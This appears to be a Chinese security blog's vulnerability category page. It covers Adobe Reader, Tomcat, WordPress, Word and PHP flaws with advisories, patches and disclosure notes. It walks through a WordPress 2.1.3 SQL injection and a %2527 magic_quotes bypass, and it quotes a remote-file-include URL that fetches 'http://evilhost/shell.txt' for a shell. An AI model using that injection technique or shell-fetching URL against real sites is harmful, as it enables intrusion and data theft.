'Vulnerability'(弱點分析/研究) 這個類別的文章
http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20090219
code execution ...
至少 Adobe Reader 8.1.1, 8.1.2, 8.1.3 and 9.0.0 全中
據說暫時解法是關掉 javascript
編輯 -> 偏好設定 -> JavaScript -> “啟用 Acrobat JavaScript” 的打勾拿掉
2009-02-21 04:39
前陣子在客戶那發現了一個 tomcat 0day
七月中先回報給 Tomcat 官方
然後在 HIT2008 上發表後 (輕鬆談:0Day Demo)
就一直等官方修正 ...
最近終於在新的 Release 裡修正 (只有 6.0.x 的 , 4.x 和 5.x 還沒 XD),
進到 CVE-2008-2938 後
各大資安網站也開始發表了 ,
如 http://www.milw0rm.com/exploits/6229
History:
- 07.17.2008: Initiate notify (To Apache Security Team)
我通知後的隔天 ... XD
希望工作不要那麼忙碌 ,
以後持續有時間作研究 ,
年年有得找到問題來提報 ...
2008-08-13 07:33
MS07-065 Message Queuing Service Remote Code Execution
Media Player Classic 6.4.9 MP4 Stack Overflow
Apple Mac OS X mount_smbfs Stack Based Buffer Overflow
Samba 3.0.27a send_mailslot() Remote Buffer Overflow
OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow
Sendmail with clamav-milter < 0.91.2 Remote Root
Linux Kernel < 2.6.11.5 BLUETOOTH Stack Local Root (這個好像是舊的 ? 記得以前就看過了 .. )
.....
耶誕節 Exploit 連發嗎 XD
2007-12-22 01:54
在 WordPress 2.1.3 (不確定以前的版本有沒有 , 請自行檢查 :p )
wp-admin/admin-ajax.php 的 6 ~ 10 行
6 define('DOING_AJAX', true);
7
8 check_ajax_referer();
9 if ( !is_user_logged_in() )
10 die('-1');
check_ajax_referer 來自 wp-includes/pluggable.php 的 242 ~ 253 行
242 function check_ajax_referer() {
243 $cookie = explode('; ', urldecode(empty($_POST['cookie']) ? $_GET['cookie'] : $_POST['cookie']));
.....
250 if ( !wp_login( $user, $pass, true ) )
251 die('-1');
252 do_action('check_ajax_referer');
253 }
這裡會由 user 端傳上的 GET 或 POST 裡取出 cookie 這個參數的值
然後帶入 urldecode() , 所以就可以用 %2527 完成 ' 來繞過 php 的 magic_quotes
(如果主機端沒有開 magic_quotes 的話, 連這步都省了 XD)
其中, 最後會執行的 wp_login 來自 wp-includes/pluggable.php 的 173 ~ 201 行
173 function wp_login($username, $password, $already_md5 = false) {
174 global $wpdb, $error;
.....
184 $login = get_userdatabylogin($username);
.....
201 }
最後, 這裡呼叫的 get_userdatabylogin 來自 wp-includes/pluggable.php 的 112 ~ 154 行
112 function get_userdatabylogin($user_login) {
113 global $wpdb;
114 $user_login = sanitize_user( $user_login );
115
116 if ( empty( $user_login ) )
117 return false;
118
119 $userdata = wp_cache_get($user_login, 'userlogins');
120 if ( $userdata )
121 return $userdata;
122
123 if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
124 return false;
所以如果沒有把 $user_login 處理好的話 , 就會被 SQL Injection 囉.
危害到什麼程度呢 ?
到可以撈你 DB 的資料哦 , 包括帳號密碼等等 :p
好新啊 , 有在用的人請趕快補 XD
如果真的還不想更新到 WordPress 2.2 的話 , 可以手動自己補一下
我的作法是修改 pluggable.php , 自己補上對 user_login 的檢查 , 如下
112 function get_userdatabylogin($user_login) {
113 global $wpdb;
114 $user_login = sanitize_user( $user_login );
115
116 if ( empty( $user_login ) )
117 return false;
118
119 if ( !preg_match('/^\w+$/' , $user_login ) )
120 return false;
121
122 $userdata = wp_cache_get($user_login, 'userlogins');
2007-05-22 18:13
繼前幾天爆過 Microsoft Word 的 0day 漏洞後
這一個星期下來,又接連爆了幾個
並且在 milw0rm 上也有了 PoC
我實際測試了幾個可以開 Word 檔案的軟體,結果是
Microsoft Word 2007 - Crash
OpenOffice Writer on Linux - Crash
OpenOffice Writer on Windows - Crash
Abiword on Linux - OK
Abiword on Windows - OK
閱讀全文 2006-12-18 17:13
12/06 的消息
原始網站在 http://secunia.com/advisories/23232/
看到這句 『Successful exploitation may allow execution of arbitrary code.』 就知道是大洞了
表示要種木馬開後門都可以
包括 2000/XP/2003/... 全都中獎
解決方法 - 還沒有官方patch, 暫時自己保重, 不要開啟來路不明的 Word 檔案 !
真的要開危險文件的話, 可以用 AbiWord 或 OpenOffice Writer 頂一下 ~
2006-12-07 11:45
有在留意安全消息的人, 最近可能會看到這個標題然後嚇一跳 -
『 Wordpress functions.php remote file include vulnerability 』
ex: http://www.securityfocus.com/bid/21004
啥 !? Wordpress 這麼多人用的 blog 系統,
連最新的 2.0.5 都還有這麼大的洞洞 !?
原發表者指出可以用
http://www.target.com/wp-includes/functions.php?file=http://evilhost/shell.txt
讓 server 去執行遠端的檔案,
理論上如果成立的話就可以直接拿到 shell .
........ !!
哈, 免驚, 其實這是個芭樂 !
閱讀全文 2006-11-21 18:21
htmlspecialchars() 及 htmlentities() ,
是 php web programmer 常用的 function
用來將某些網頁特殊字元, 轉換成相對應的 HTML entities ,
例如 < = < 、 > = > 、 ” = " ... 等等,
同時它們也常用來防止網頁產生 XSS 漏洞.
幾日前,
國外的 Hardened-PHP Project 發現這兩個 function 存在 heap overflow 的漏洞 ,
可能導致遠端惡意使用者執行任意指令.
不過這只有在特定情況下 - 當使用 UTF-8 charset 時, 才會發生 .
原因在於 htmlentities 的實作 , PHP source code 的 ext/standard/html.c 中
PHPAPI char *php_escape_html_entities( .... )
{
....
....
if (len + 9 > maxlen)
replaced = erealloc (replaced, maxlen += 128);
...
...
}
當轉換用的 buffer , 再塞 10 bytes 資料會到底的話, 就會 realloc 多 128 bytes .
這本來也沒什麼問題, 因為一般的 HTML entities 都在 8 個字元以下 ,
但有個例外 - Greek character set 會超過 !
所以當惡意的攻擊者塞入特定的字元 ( Greek character set、或來自 0×00, 0xc0-0xfd ) 後,
可能導致 server 端在 realloc() 時發生 heap overflow ,
而執行到其中的惡意代碼 ( 加檔案、開後門、塞木馬、... 等等都有可能 )
解決方式 -
目前 PHP 官方放出的最新版 5.2.0 已經修正了這個問題 ,
而也只有這個版本的 PHP 不受影響 , 其他 < 5.2.0 的通通有可能爆 ...
( 以下為個人看法, 未經實驗, 請自行承擔後果 :> )
真的不想冒然衝上 5.2 的話 , 也可以將之前的版本手動 patch 一遍,
將 5.2.0 裡 ext/standard/html.c 中的 php_escape_html_entities( ) 整個搬過去舊版的
再 recompile 一隻起來 , 應該就沒事了 :p
相關報導 -
http://www.securitytracker.com/alerts/2006/Nov/1017152.html
http://www.hardened-php.net/advisory_132006.138.html
2006-11-07 12:27
有在留意一些安全網站的人應該有發現了
Linux Kernel >= 2.6.13 && < 2.6.17.4 sys_prctl() Local Root Exploit
有興趣的人用 linux kernel local root prctl 到 google 找, 應該就有資料了 ~
剛試了幾個新的 distro ........ 都會動 :p
SUSE 10、Fedora 5、RHEL 4 ......
( 其實也不只那幾版 kernel , 有試到幾版 2.6.x 的也會動 ... )
哦 , 我都是拿 VM 來試啦 ! 絕對不是去試別人家的機器 !!
2006-07-14 08:57
之前的文章